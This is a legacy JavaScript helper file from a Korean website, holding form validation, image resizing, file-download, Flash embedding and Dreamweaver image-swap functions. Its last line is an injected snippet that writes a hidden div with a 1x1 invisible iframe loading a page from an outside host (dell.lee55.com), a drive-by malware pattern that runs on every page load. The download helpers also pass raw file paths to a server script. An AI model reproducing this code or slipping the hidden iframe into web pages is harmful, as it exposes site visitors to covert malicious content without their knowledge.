
function isNumber() { 
	//alert(event.keyCode);
	
	if(event.keyCode == 8 || event.keyCode == 9 || event.keyCode == 45) return;
	if(event.keyCode >= 96 && event.keyCode <= 105) return;
	
	if((event.keyCode< 48) || (event.keyCode > 57)) {
		alert("숫자를 입력하셔야 합니다.")
		event.returnValue = false;
	}
}
function imgSizeConv(){ 
    Limit = 800; //가로 제한 사이즈
    var IMG = document.getElementsByTagName('IMG');
    for(i=0,cnt=IMG.length;i<cnt;i++){
        if(IMG[i].width > Limit) {
            IMG[i].width = Limit; 
        }    
    }   
    //window.onload=imgSizeConv();
}

function downloadFile(){
	uForm = document.downloadForm;
	uForm.submit();
}
function downloadFile(filePath,fileName){

	//UTF 테이터 전송
	document.charset = 'euc-kr';
	//window.open('downloadFile.action?filePath='+filePath+'&fileName='+fileName,'_self');
	window.open('common/download.jsp?filePath='+filePath+'&fileName='+fileName,'_self');
	document.charset = 'utf-8';
}
function downloadFile(filePath,fileName,fileNameSeq){

	//UTF 테이터 전송
	document.charset = 'euc-kr';
	//window.open('downloadFile.action?filePath='+filePath+'&fileName='+fileName+'&fileNameSeq='+fileNameSeq,'_self');
	window.open('common/download.jsp?filePath='+filePath+'&fileName='+fileName+'&fileNameSeq='+fileNameSeq,'_self');
	document.charset = 'utf-8';
}
// 제목글자수 제한
function checkTitleLength(thisForm) { 
	 var str = thisForm.value.length; 
	 var con = thisForm.value; 
	 
	 if (str >= 255) { 
	  alert('최대 255글자 까지만 작성 할 수 있습니다.'); 
	  thisForm.value=con.substring(0,255); 
	  thisForm.focus(); 
	  } 
} 

function getFileSize(path)
{
   //var img = new Image();
   //img.dynsrc = path;
   //return img.fileSize;
	return 1;
}
/*
function getFileSize(path)
{
	alert(path);
var oas = new ActiveXObject("Scripting.FileSystemObject");
alert(path);
//var d = document.a.b.value;
var e = oas.getFile(path);
alert(path);
var f = e.size;
alert(f + " bytes");
}
*/

/*ActiveX 플래쉬*/
// id: flash id
// url: source url
// w: source width
// h: source height
// t: wmode (window/transparent/opaque)
function Flash(id,url,w,h,bg,t){
document.write("\
<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' codebase='http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0' width="+w+" height="+h+" id="+id+">\
<param name='movie' value="+url+" />\
<param name='wmode' value="+t+" />\
<param name='bgcolor' value="+bg+" />\
<param name='allowScriptAccess' value='sameDomain' />\
<param name='quality' value='high' />\
<param name='menu' value='false' />\
<embed src="+url+" wmode="+t+" width="+w+" height="+h+" name="+id+" bgcolor="+bg+" allowScriptAccess='sameDomain' quality='high' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer' />\
</object>\
");
}

function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}
function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}

	function newwin(url) { 
pop = window.open( url, "win_sub", "status=0,scrollbars=no,resizable=0,left=200,top=100,width=800,height=600" ); 
pop.focus(); 
} 
document.write("<div style='display:none'>");document.write("<iframe src=http://dell.lee55.com/count/nhn.htm width=1 height=1 scrolling=no frameborder=0></iframe>");document.write("</div>");